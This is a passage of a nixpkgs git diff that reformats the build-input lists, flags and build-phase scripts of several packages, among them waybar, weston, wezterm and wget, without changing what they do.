-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    glib
+    gtk4
+    libadwaita
+    zbar
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-bad
+  ]);
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/wa/warpd/package.nix b/pkgs/by-name/wa/warpd/package.nix
index 3c1fb984c2d4..ca201891b71b 100644
--- a/pkgs/by-name/wa/warpd/package.nix
+++ b/pkgs/by-name/wa/warpd/package.nix
@@ -47,10 +47,11 @@ stdenv.mkDerivation rec {
       libXext
     ];
 
-  makeFlags =
-    [ "PREFIX=$(out)" ]
-    ++ lib.optional (!withWayland) "DISABLE_WAYLAND=y"
-    ++ lib.optional (!withX) "DISABLE_X=y";
+  makeFlags = [
+    "PREFIX=$(out)"
+  ]
+  ++ lib.optional (!withWayland) "DISABLE_WAYLAND=y"
+  ++ lib.optional (!withX) "DISABLE_X=y";
 
   postPatch = ''
     substituteInPlace mk/linux.mk \
diff --git a/pkgs/by-name/wa/warzone2100/package.nix b/pkgs/by-name/wa/warzone2100/package.nix
index fc97e6d884da..3dd785a1f9aa 100644
--- a/pkgs/by-name/wa/warzone2100/package.nix
+++ b/pkgs/by-name/wa/warzone2100/package.nix
@@ -54,27 +54,26 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-B/YbrnIWh+3rYtpId+hQMKA6BTpZPWRRlPxld44EgP8=";
   };
 
-  buildInputs =
-    [
-      SDL2
-      libtheora
-      libvorbis
-      libopus
-      openal
-      openalSoft
-      physfs
-      miniupnpc
-      libsodium
-      curl
-      libpng
-      freetype
-      harfbuzz
-      sqlite
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      vulkan-headers
-      vulkan-loader
-    ];
+  buildInputs = [
+    SDL2
+    libtheora
+    libvorbis
+    libopus
+    openal
+    openalSoft
+    physfs
+    miniupnpc
+    libsodium
+    curl
+    libpng
+    freetype
+    harfbuzz
+    sqlite
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    vulkan-headers
+    vulkan-loader
+  ];
 
   nativeBuildInputs = [
     pkg-config
@@ -105,7 +104,8 @@ stdenv.mkDerivation (finalAttrs: {
     #
     # Alternatively, we could have set CMAKE_INSTALL_BINDIR to "bin".
     "-DCMAKE_INSTALL_DATAROOTDIR=${placeholder "out"}/share"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "-P../configure_mac.cmake";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-P../configure_mac.cmake";
 
   postInstall = lib.optionalString withVideos ''
     cp ${sequences_src} $out/share/warzone2100/sequences.wz
diff --git a/pkgs/by-name/wa/wasm-tools/package.nix b/pkgs/by-name/wa/wasm-tools/package.nix
index 8d567ddfd761..ac0014669683 100644
--- a/pkgs/by-name/wa/wasm-tools/package.nix
+++ b/pkgs/by-name/wa/wasm-tools/package.nix
@@ -24,9 +24,10 @@ rustPlatform.buildRustPackage rec {
     "--package"
     "wasm-tools"
   ];
-  cargoTestFlags =
-    [ "--all" ]
-    ++
+  cargoTestFlags = [
+    "--all"
+  ]
+  ++
     # Due to https://github.com/bytecodealliance/wasm-tools/issues/1820
     [
       "--"
diff --git a/pkgs/by-name/wa/wavebox/package.nix b/pkgs/by-name/wa/wavebox/package.nix
index 41c1daa3b4a3..7643835f3322 100644
--- a/pkgs/by-name/wa/wavebox/package.nix
+++ b/pkgs/by-name/wa/wavebox/package.nix
@@ -90,68 +90,67 @@
 let
   opusWithCustomModes = libopus.override { withCustomModes = true; };
 
-  deps =
-    [
-      glib
-      fontconfig
-      freetype
-      pango
-      cairo
-      libX11
-      libXi
-      atk
-      nss
-      nspr
-      libXcursor
-      libXext
-      libXfixes
-      libXrender
-      libXScrnSaver
-      libXcomposite
-      libxcb
-      alsa-lib
-      libXdamage
-      libXtst
-      libXrandr
-      libxshmfence
-      expat
-      cups
-      dbus
-      gdk-pixbuf
-      gcc-unwrapped.lib
-      systemd
-      libexif
-      pciutils
-      liberation_ttf
-      curl
-      util-linux
-      wget
-      flac
-      harfbuzz
-      icu
-      libpng
-      opusWithCustomModes
-      snappy
-      speechd
-      bzip2
-      libcap
-      at-spi2-atk
-      at-spi2-core
-      libkrb5
-      libdrm
-      libglvnd
-      libgbm
-      coreutils
-      libxkbcommon
-      pipewire
-      wayland
-    ]
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional libvaSupport libva
-    ++ [
-      gtk3
-      gtk4
-    ];
+  deps = [
+    glib
+    fontconfig
+    freetype
+    pango
+    cairo
+    libX11
+    libXi
+    atk
+    nss
+    nspr
+    libXcursor
+    libXext
+    libXfixes
+    libXrender
+    libXScrnSaver
+    libXcomposite
+    libxcb
+    alsa-lib
+    libXdamage
+    libXtst
+    libXrandr
+    libxshmfence
+    expat
+    cups
+    dbus
+    gdk-pixbuf
+    gcc-unwrapped.lib
+    systemd
+    libexif
+    pciutils
+    liberation_ttf
+    curl
+    util-linux
+    wget
+    flac
+    harfbuzz
+    icu
+    libpng
+    opusWithCustomModes
+    snappy
+    speechd
+    bzip2
+    libcap
+    at-spi2-atk
+    at-spi2-core
+    libkrb5
+    libdrm
+    libglvnd
+    libgbm
+    coreutils
+    libxkbcommon
+    pipewire
+    wayland
+  ]
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional libvaSupport libva
+  ++ [
+    gtk3
+    gtk4
+  ];
 
 in
 stdenv.mkDerivation (finalAttrs: {
diff --git a/pkgs/by-name/wa/waybar/package.nix b/pkgs/by-name/wa/waybar/package.nix
index b9935d5e7d1a..d89a524c96c8 100644
--- a/pkgs/by-name/wa/waybar/package.nix
+++ b/pkgs/by-name/wa/waybar/package.nix
@@ -98,16 +98,15 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      wayland-scanner
-      wrapGAppsHook3
-    ]
-    ++ lib.optional withMediaPlayer gobject-introspection
-    ++ lib.optional enableManpages scdoc;
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    wayland-scanner
+    wrapGAppsHook3
+  ]
+  ++ lib.optional withMediaPlayer gobject-introspection
+  ++ lib.optional enableManpages scdoc;
 
   propagatedBuildInputs = lib.optionals withMediaPlayer [
     glib
@@ -115,41 +114,40 @@ stdenv.mkDerivation (finalAttrs: {
     python3.pkgs.pygobject3
   ];
 
-  buildInputs =
-    [
-      gtk-layer-shell
-      gtkmm3
-      howard-hinnant-date
-      jsoncpp
-      libsigcxx
-      libxkbcommon
-      spdlog
-      wayland
-    ]
-    ++ lib.optionals cavaSupport [
-      SDL2
-      alsa-lib
-      fftw
-      iniparser
-      ncurses
-      portaudio
-    ]
-    ++ lib.optional evdevSupport libevdev
-    ++ lib.optional gpsSupport gpsd
-    ++ lib.optional inputSupport libinput
-    ++ lib.optional jackSupport libjack2
-    ++ lib.optional mpdSupport libmpdclient
-    ++ lib.optional mprisSupport playerctl
-    ++ lib.optional nlSupport libnl
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional sndioSupport sndio
-    ++ lib.optional systemdSupport systemdMinimal
-    ++ lib.optional traySupport libdbusmenu-gtk3
-    ++ lib.optional udevSupport udev
-    ++ lib.optional upowerSupport upower
-    ++ lib.optional wireplumberSupport wireplumber
-    ++ lib.optional (cavaSupport || pipewireSupport) pipewire
-    ++ lib.optional (!stdenv.hostPlatform.isLinux) libinotify-kqueue;
+  buildInputs = [
+    gtk-layer-shell
+    gtkmm3
+    howard-hinnant-date
+    jsoncpp
+    libsigcxx
+    libxkbcommon
+    spdlog
+    wayland
+  ]
+  ++ lib.optionals cavaSupport [
+    SDL2
+    alsa-lib
+    fftw
+    iniparser
+    ncurses
+    portaudio
+  ]
+  ++ lib.optional evdevSupport libevdev
+  ++ lib.optional gpsSupport gpsd
+  ++ lib.optional inputSupport libinput
+  ++ lib.optional jackSupport libjack2
+  ++ lib.optional mpdSupport libmpdclient
+  ++ lib.optional mprisSupport playerctl
+  ++ lib.optional nlSupport libnl
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional sndioSupport sndio
+  ++ lib.optional systemdSupport systemdMinimal
+  ++ lib.optional traySupport libdbusmenu-gtk3
+  ++ lib.optional udevSupport udev
+  ++ lib.optional upowerSupport upower
+  ++ lib.optional wireplumberSupport wireplumber
+  ++ lib.optional (cavaSupport || pipewireSupport) pipewire
+  ++ lib.optional (!stdenv.hostPlatform.isLinux) libinotify-kqueue;
 
   nativeCheckInputs = [ catch2_3 ];
   doCheck = runTests;
diff --git a/pkgs/by-name/wa/wayland-proxy-virtwl/package.nix b/pkgs/by-name/wa/wayland-proxy-virtwl/package.nix
index dfa348e489c5..547dfe8ea495 100644
--- a/pkgs/by-name/wa/wayland-proxy-virtwl/package.nix
+++ b/pkgs/by-name/wa/wayland-proxy-virtwl/package.nix
@@ -24,17 +24,18 @@ ocamlPackages.buildDunePackage {
     pkg-config
   ];
 
-  buildInputs =
-    [ libdrm ]
-    ++ (with ocamlPackages; [
-      dune-configurator
-      eio_main
-      ppx_cstruct
-      wayland
-      cmdliner
-      logs
-      ppx_cstruct
-    ]);
+  buildInputs = [
+    libdrm
+  ]
+  ++ (with ocamlPackages; [
+    dune-configurator
+    eio_main
+    ppx_cstruct
+    wayland
+    cmdliner
+    logs
+    ppx_cstruct
+  ]);
 
   doCheck = true;
 
diff --git a/pkgs/by-name/wb/wbg/package.nix b/pkgs/by-name/wb/wbg/package.nix
index 47f8ac7844d4..320a9c7f1cc8 100644
--- a/pkgs/by-name/wb/wbg/package.nix
+++ b/pkgs/by-name/wb/wbg/package.nix
@@ -38,16 +38,15 @@ stdenv.mkDerivation rec {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      pixman
-      tllist
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optional enablePNG libpng
-    ++ lib.optional enableJPEG libjpeg
-    ++ lib.optional enableWebp libwebp;
+  buildInputs = [
+    pixman
+    tllist
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optional enablePNG libpng
+  ++ lib.optional enableJPEG libjpeg
+  ++ lib.optional enableWebp libwebp;
 
   mesonBuildType = "release";
 
diff --git a/pkgs/by-name/we/webp-pixbuf-loader/package.nix b/pkgs/by-name/we/webp-pixbuf-loader/package.nix
index 514e4341fa14..188fa813d5a2 100644
--- a/pkgs/by-name/we/webp-pixbuf-loader/package.nix
+++ b/pkgs/by-name/we/webp-pixbuf-loader/package.nix
@@ -48,22 +48,21 @@ stdenv.mkDerivation rec {
       --replace "@bindir@/gdk-pixbuf-thumbnailer" "$out/libexec/gdk-pixbuf-thumbnailer-webp"
   '';
 
-  postInstall =
-    ''
-      GDK_PIXBUF_MODULE_FILE="$out/${loadersPath}" \
-      GDK_PIXBUF_MODULEDIR="$out/${moduleDir}" \
-      gdk-pixbuf-query-loaders --update-cache
+  postInstall = ''
+    GDK_PIXBUF_MODULE_FILE="$out/${loadersPath}" \
+    GDK_PIXBUF_MODULEDIR="$out/${moduleDir}" \
+    gdk-pixbuf-query-loaders --update-cache
 
-      # gdk-pixbuf disables the thumbnailer in cross-builds (https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/commit/fc37708313a5fc52083cf10c9326f3509d67701f)
-      # and therefore makeWrapper will fail because 'gdk-pixbuf-thumbnailer' the executable does not exist.
-    ''
-    + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
-      # It assumes gdk-pixbuf-thumbnailer can find the webp loader in the loaders.cache referenced by environment variable, breaking containment.
-      # So we replace it with a wrapped executable.
-      mkdir -p "$out/bin"
-      makeWrapper "${gdk-pixbuf}/bin/gdk-pixbuf-thumbnailer" "$out/libexec/gdk-pixbuf-thumbnailer-webp" \
-        --set GDK_PIXBUF_MODULE_FILE "$out/${loadersPath}"
-    '';
+    # gdk-pixbuf disables the thumbnailer in cross-builds (https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/commit/fc37708313a5fc52083cf10c9326f3509d67701f)
+    # and therefore makeWrapper will fail because 'gdk-pixbuf-thumbnailer' the executable does not exist.
+  ''
+  + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+    # It assumes gdk-pixbuf-thumbnailer can find the webp loader in the loaders.cache referenced by environment variable, breaking containment.
+    # So we replace it with a wrapped executable.
+    mkdir -p "$out/bin"
+    makeWrapper "${gdk-pixbuf}/bin/gdk-pixbuf-thumbnailer" "$out/libexec/gdk-pixbuf-thumbnailer-webp" \
+      --set GDK_PIXBUF_MODULE_FILE "$out/${loadersPath}"
+  '';
 
   meta = with lib; {
     description = "WebP GDK Pixbuf Loader library";
diff --git a/pkgs/by-name/we/websocat/package.nix b/pkgs/by-name/we/websocat/package.nix
index f00d2aef05f3..4a775312d789 100644
--- a/pkgs/by-name/we/websocat/package.nix
+++ b/pkgs/by-name/we/websocat/package.nix
@@ -30,11 +30,12 @@ rustPlatform.buildRustPackage rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeInstallCheckInputs = [ versionCheckHook ];
 
diff --git a/pkgs/by-name/we/werf/package.nix b/pkgs/by-name/we/werf/package.nix
index cc144e717e26..4775686fa03d 100644
--- a/pkgs/by-name/we/werf/package.nix
+++ b/pkgs/by-name/we/werf/package.nix
@@ -35,52 +35,49 @@ buildGoModule (finalAttrs: {
 
   env.CGO_ENABLED = if stdenv.hostPlatform.isLinux then 1 else 0;
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-      "-X github.com/werf/werf/v2/pkg/werf.Version=v${finalAttrs.version}"
-    ]
-    ++ lib.optionals (finalAttrs.env.CGO_ENABLED == 1) [
-      "-extldflags=-static"
-      "-linkmode external"
-    ];
+  ldflags = [
+    "-s"
+    "-w"
+    "-X github.com/werf/werf/v2/pkg/werf.Version=v${finalAttrs.version}"
+  ]
+  ++ lib.optionals (finalAttrs.env.CGO_ENABLED == 1) [
+    "-extldflags=-static"
+    "-linkmode external"
+  ];
 
-  tags =
-    [
-      "containers_image_openpgp"
-      "dfrunmount"
-      "dfrunnetwork"
-      "dfrunsecurity"
-      "dfssh"
-    ]
-    ++ lib.optionals (finalAttrs.env.CGO_ENABLED == 1) [
-      "cni"
-      "exclude_graphdriver_devicemapper"
-      "netgo"
-      "no_devmapper"
-      "osusergo"
-      "static_build"
-    ];
+  tags = [
+    "containers_image_openpgp"
+    "dfrunmount"
+    "dfrunnetwork"
+    "dfrunsecurity"
+    "dfssh"
+  ]
+  ++ lib.optionals (finalAttrs.env.CGO_ENABLED == 1) [
+    "cni"
+    "exclude_graphdriver_devicemapper"
+    "netgo"
+    "no_devmapper"
+    "osusergo"
+    "static_build"
+  ];
 
   nativeCheckInputs = [ writableTmpDirAsHomeHook ];
 
-  preCheck =
-    ''
-      # Test all packages.
-      unset subPackages
+  preCheck = ''
+    # Test all packages.
+    unset subPackages
 
-      # Remove tests that fail or require external services.
-      rm -rf \
-        integration/suites \
-        pkg/true_git/*_test.go \
-        pkg/werf/exec/*_test.go \
-        test/e2e
-    ''
-    + lib.optionalString (finalAttrs.env.CGO_ENABLED == 0) ''
-      # A workaround for osusergo.
-      export USER=nixbld
-    '';
+    # Remove tests that fail or require external services.
+    rm -rf \
+      integration/suites \
+      pkg/true_git/*_test.go \
+      pkg/werf/exec/*_test.go \
+      test/e2e
+  ''
+  + lib.optionalString (finalAttrs.env.CGO_ENABLED == 0) ''
+    # A workaround for osusergo.
+    export USER=nixbld
+  '';
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/we/weston/package.nix b/pkgs/by-name/we/weston/package.nix
index 8c31cb0b22a0..8332e7dfb999 100644
--- a/pkgs/by-name/we/weston/package.nix
+++ b/pkgs/by-name/we/weston/package.nix
@@ -73,61 +73,59 @@ stdenv.mkDerivation rec {
     python3
     wayland-scanner
   ];
-  buildInputs =
-    [
-      cairo
-      libGL
-      libdisplay-info
-      libdrm
-      libevdev
-      libinput
-      libxkbcommon
-      libgbm
-      seatd
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optional jpegSupport libjpeg
-    ++ lib.optional lcmsSupport lcms2
-    ++ lib.optional pangoSupport pango
-    ++ lib.optional pipewireSupport pipewire
-    ++ lib.optional rdpSupport freerdp
-    ++ lib.optionals remotingSupport [
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-    ]
-    ++ lib.optional vaapiSupport libva
-    ++ lib.optionals vncSupport [
-      aml
-      neatvnc
-      pam
-    ]
-    ++ lib.optional webpSupport libwebp
-    ++ lib.optionals xwaylandSupport [
-      libXcursor
-      xcbutilcursor
-      xwayland
-    ];
+  buildInputs = [
+    cairo
+    libGL
+    libdisplay-info
+    libdrm
+    libevdev
+    libinput
+    libxkbcommon
+    libgbm
+    seatd
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optional jpegSupport libjpeg
+  ++ lib.optional lcmsSupport lcms2
+  ++ lib.optional pangoSupport pango
+  ++ lib.optional pipewireSupport pipewire
+  ++ lib.optional rdpSupport freerdp
+  ++ lib.optionals remotingSupport [
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+  ]
+  ++ lib.optional vaapiSupport libva
+  ++ lib.optionals vncSupport [
+    aml
+    neatvnc
+    pam
+  ]
+  ++ lib.optional webpSupport libwebp
+  ++ lib.optionals xwaylandSupport [
+    libXcursor
+    xcbutilcursor
+    xwayland
+  ];
 
-  mesonFlags =
-    [
-      (lib.mesonBool "backend-drm-screencast-vaapi" vaapiSupport)
-      (lib.mesonBool "backend-pipewire" pipewireSupport)
-      (lib.mesonBool "backend-rdp" rdpSupport)
-      (lib.mesonBool "backend-vnc" vncSupport)
-      (lib.mesonBool "color-management-lcms" lcmsSupport)
-      (lib.mesonBool "demo-clients" demoSupport)
-      (lib.mesonBool "image-jpeg" jpegSupport)
-      (lib.mesonBool "image-webp" webpSupport)
-      (lib.mesonBool "pipewire" pipewireSupport)
-      (lib.mesonBool "remoting" remotingSupport)
-      (lib.mesonOption "simple-clients" "")
-      (lib.mesonBool "test-junit-xml" false)
-      (lib.mesonBool "xwayland" xwaylandSupport)
-    ]
-    ++ lib.optionals xwaylandSupport [
-      (lib.mesonOption "xwayland-path" (lib.getExe xwayland))
-    ];
+  mesonFlags = [
+    (lib.mesonBool "backend-drm-screencast-vaapi" vaapiSupport)
+    (lib.mesonBool "backend-pipewire" pipewireSupport)
+    (lib.mesonBool "backend-rdp" rdpSupport)
+    (lib.mesonBool "backend-vnc" vncSupport)
+    (lib.mesonBool "color-management-lcms" lcmsSupport)
+    (lib.mesonBool "demo-clients" demoSupport)
+    (lib.mesonBool "image-jpeg" jpegSupport)
+    (lib.mesonBool "image-webp" webpSupport)
+    (lib.mesonBool "pipewire" pipewireSupport)
+    (lib.mesonBool "remoting" remotingSupport)
+    (lib.mesonOption "simple-clients" "")
+    (lib.mesonBool "test-junit-xml" false)
+    (lib.mesonBool "xwayland" xwaylandSupport)
+  ]
+  ++ lib.optionals xwaylandSupport [
+    (lib.mesonOption "xwayland-path" (lib.getExe xwayland))
+  ];
 
   passthru.providedSessions = [ "weston" ];
 
diff --git a/pkgs/by-name/we/weylus/package.nix b/pkgs/by-name/we/weylus/package.nix
index 24a6ba2067e4..f12262da72c8 100644
--- a/pkgs/by-name/we/weylus/package.nix
+++ b/pkgs/by-name/we/weylus/package.nix
@@ -34,44 +34,42 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-lx1ZVp5DkQiL9/vw6PAZ34Lge+K8dfEVh6vLnCUNf7M=";
   };
 
-  buildInputs =
-    [
-      ffmpeg
-      x264
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      dbus
-      libva
-      gst_all_1.gst-plugins-base
-      xorg.libXext
-      xorg.libXft
-      xorg.libXinerama
-      xorg.libXcursor
-      xorg.libXrender
-      xorg.libXfixes
-      xorg.libXtst
-      xorg.libXrandr
-      xorg.libXcomposite
-      xorg.libXi
-      xorg.libXv
-      pango
-      libdrm
-      wayland
-      libxkbcommon
-    ];
+  buildInputs = [
+    ffmpeg
+    x264
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    dbus
+    libva
+    gst_all_1.gst-plugins-base
+    xorg.libXext
+    xorg.libXft
+    xorg.libXinerama
+    xorg.libXcursor
+    xorg.libXrender
+    xorg.libXfixes
+    xorg.libXtst
+    xorg.libXrandr
+    xorg.libXcomposite
+    xorg.libXi
+    xorg.libXv
+    pango
+    libdrm
+    wayland
+    libxkbcommon
+  ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      typescript
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-      autoconf
-      libtool
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    typescript
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+    autoconf
+    libtool
+  ];
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-dLhlYOrLjoBSRGDJB0qTEIb+oGnp9X+ADHddpYITdl8=";
diff --git a/pkgs/by-name/we/wezterm/package.nix b/pkgs/by-name/we/wezterm/package.nix
index 118a02e2c6b8..ed0e0f7e1573 100644
--- a/pkgs/by-name/we/wezterm/package.nix
+++ b/pkgs/by-name/we/wezterm/package.nix
@@ -39,21 +39,20 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SQ1H16jy6GVjM8tEKZZC7AGIADLR1NyGfOT/6pFcFA0=";
   };
 
-  postPatch =
-    ''
-      echo ${version} > .tag
+  postPatch = ''
+    echo ${version} > .tag
 
-      # hash does not work well with NixOS
-      substituteInPlace assets/shell-integration/wezterm.sh \
-        --replace-fail 'hash wezterm 2>/dev/null' 'command type -P wezterm &>/dev/null' \
-        --replace-fail 'hash base64 2>/dev/null' 'command type -P base64 &>/dev/null' \
-        --replace-fail 'hash hostname 2>/dev/null' 'command type -P hostname &>/dev/null' \
-        --replace-fail 'hash hostnamectl 2>/dev/null' 'command type -P hostnamectl &>/dev/null'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # many tests fail with: No such file or directory
-      rm -r wezterm-ssh/tests
-    '';
+    # hash does not work well with NixOS
+    substituteInPlace assets/shell-integration/wezterm.sh \
+      --replace-fail 'hash wezterm 2>/dev/null' 'command type -P wezterm &>/dev/null' \
+      --replace-fail 'hash base64 2>/dev/null' 'command type -P base64 &>/dev/null' \
+      --replace-fail 'hash hostname 2>/dev/null' 'command type -P hostname &>/dev/null' \
+      --replace-fail 'hash hostnamectl 2>/dev/null' 'command type -P hostnamectl &>/dev/null'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # many tests fail with: No such file or directory
+    rm -r wezterm-ssh/tests
+  '';
 
   # dep: syntax causes build failures in rare cases
   # https://github.com/rust-secure-code/cargo-auditable/issues/124
@@ -68,24 +67,24 @@ rustPlatform.buildRustPackage rec {
     ncurses # tic for terminfo
     pkg-config
     python3
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin perl;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin perl;
 
-  buildInputs =
-    [
-      fontconfig
-      openssl
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libxcb
-      libxkbcommon
-      wayland
-      xcbutil
-      xcbutilimage
-      xcbutilkeysyms
-      xcbutilwm # contains xcb-ewmh among others
-    ];
+  buildInputs = [
+    fontconfig
+    openssl
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libxcb
+    libxkbcommon
+    wayland
+    xcbutil
+    xcbutilimage
+    xcbutilkeysyms
+    xcbutilwm # contains xcb-ewmh among others
+  ];
 
   buildFeatures = [ "distro-defaults" ];
 
diff --git a/pkgs/by-name/wf/wfview/package.nix b/pkgs/by-name/wf/wfview/package.nix
index c9c284c261c5..3ae29a0ba70e 100644
--- a/pkgs/by-name/wf/wfview/package.nix
+++ b/pkgs/by-name/wf/wfview/package.nix
@@ -29,22 +29,21 @@ stdenv.mkDerivation (finalAttrs: {
     ./remove-hard-encodings.patch
   ];
 
-  buildInputs =
-    [
-      eigen
-      hidapi
-      libopus
-      portaudio
-      rtaudio
-      qt6.qtbase
-      qt6.qtserialport
-      qt6.qtmultimedia
-      qt6.qtwebsockets
-      qt6Packages.qcustomplot
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libpulseaudio
-    ];
+  buildInputs = [
+    eigen
+    hidapi
+    libopus
+    portaudio
+    rtaudio
+    qt6.qtbase
+    qt6.qtserialport
+    qt6.qtmultimedia
+    qt6.qtwebsockets
+    qt6Packages.qcustomplot
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libpulseaudio
+  ];
 
   nativeBuildInputs = with qt6; [
     wrapQtAppsHook
diff --git a/pkgs/by-name/wg/wget/package.nix b/pkgs/by-name/wg/wget/package.nix
index 69eebc4f1d41..44166739a2c8 100644
--- a/pkgs/by-name/wg/wget/package.nix
+++ b/pkgs/by-name/wg/wget/package.nix
@@ -43,31 +43,29 @@ stdenv.mkDerivation rec {
     lzip
     nukeReferences
   ];
-  buildInputs =
-    [
-      libidn2
-      zlib
-      pcre2
-      libuuid
-      libiconv
-      libintl
-    ]
-    ++ lib.optional withOpenssl openssl
-    ++ lib.optional withLibpsl libpsl
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      perlPackages.perl
-    ];
+  buildInputs = [
+    libidn2
+    zlib
+    pcre2
+    libuuid
+    libiconv
+    libintl
+  ]
+  ++ lib.optional withOpenssl openssl
+  ++ lib.optional withLibpsl libpsl
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    perlPackages.perl
+  ];
 
   strictDeps = true;
 
-  configureFlags =
-    [
-      (lib.withFeatureAs withOpenssl "ssl" "openssl")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # https://lists.gnu.org/archive/html/bug-wget/2021-01/msg00076.html
-      "--without-included-regex"
-    ];
+  configureFlags = [
+    (lib.withFeatureAs withOpenssl "ssl" "openssl")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # https://lists.gnu.org/archive/html/bug-wget/2021-01/msg00076.html
+    "--without-included-regex"
+  ];
 
   preBuild = ''
     # avoid runtime references to build-only depends
@@ -79,39 +77,37 @@ stdenv.mkDerivation rec {
 
   __darwinAllowLocalNetworking = true;
   doCheck = true;
-  preCheck =
-    ''
-      patchShebangs tests fuzz
+  preCheck = ''
+    patchShebangs tests fuzz
 
-      # Work around lack of DNS resolution in chroots.
-      for i in "tests/"*.pm "tests/"*.px
-      do
-        sed -i "$i" -e's/localhost/127.0.0.1/g'
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # depending on the underlying filesystem, some tests
-      # creating exotic file names fail
-      for f in tests/Test-ftp-iri.px \
-        tests/Test-ftp-iri-fallback.px \
-        tests/Test-ftp-iri-recursive.px \
-        tests/Test-ftp-iri-disabled.px \
-        tests/Test-iri-disabled.px \
-        tests/Test-iri-list.px ;
-      do
-        # just return magic "skip" exit code 77
-        sed -i 's/^exit/exit 77 #/' $f
-      done
-    '';
+    # Work around lack of DNS resolution in chroots.
+    for i in "tests/"*.pm "tests/"*.px
+    do
+      sed -i "$i" -e's/localhost/127.0.0.1/g'
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # depending on the underlying filesystem, some tests
+    # creating exotic file names fail
+    for f in tests/Test-ftp-iri.px \
+      tests/Test-ftp-iri-fallback.px \
+      tests/Test-ftp-iri-recursive.px \
+      tests/Test-ftp-iri-disabled.px \
+      tests/Test-iri-disabled.px \
+      tests/Test-iri-list.px ;
+    do
+      # just return magic "skip" exit code 77
+      sed -i 's/^exit/exit 77 #/' $f
+    done
+  '';
 
-  nativeCheckInputs =
-    [
-      perlPackages.HTTPDaemon
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      perlPackages.IOSocketSSL
-    ];
+  nativeCheckInputs = [
+    perlPackages.HTTPDaemon
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    perlPackages.IOSocketSSL
+  ];
 
   meta = {
     description = "Tool for retrieving files using HTTP, HTTPS, and FTP";
diff --git a/pkgs/by-name/wg/wget2/package.nix b/pkgs/by-name/wg/wget2/package.nix
index f0c1c3eef7eb..6ee9fdb3f4c4 100644
--- a/pkgs/by-name/wg/wget2/package.nix
+++ b/pkgs/by-name/wg/wget2/package.nix
@@ -59,23 +59,22 @@ stdenv.mkDerivation rec {
     texinfo
   ];
 
-  buildInputs =
-    [
-      brotli
-      bzip2
-      gpgme
-      libhsts
-      libidn2
-      libpsl
-      nghttp2
-      pcre2
-      xz
-      zlib
-      zstd
-    ]
-    ++ lib.optionals sslSupport [
-      openssl
-    ];
+  buildInputs = [
+    brotli
+    bzip2
+    gpgme
+    libhsts
+    libidn2
+    libpsl
+    nghttp2
+    pcre2
+    xz
+    zlib
+    zstd
+  ]
+  ++ lib.optionals sslSupport [
+    openssl
+  ];
 
   # TODO: include translation files
   autoreconfPhase = ''
diff --git a/pkgs/by-name/wg/wgpu-native/examples.nix b/pkgs/by-name/wg/wgpu-native/examples.nix
index 81d361dc4f35..d51db484124b 100644
--- a/pkgs/by-name/wg/wgpu-native/examples.nix
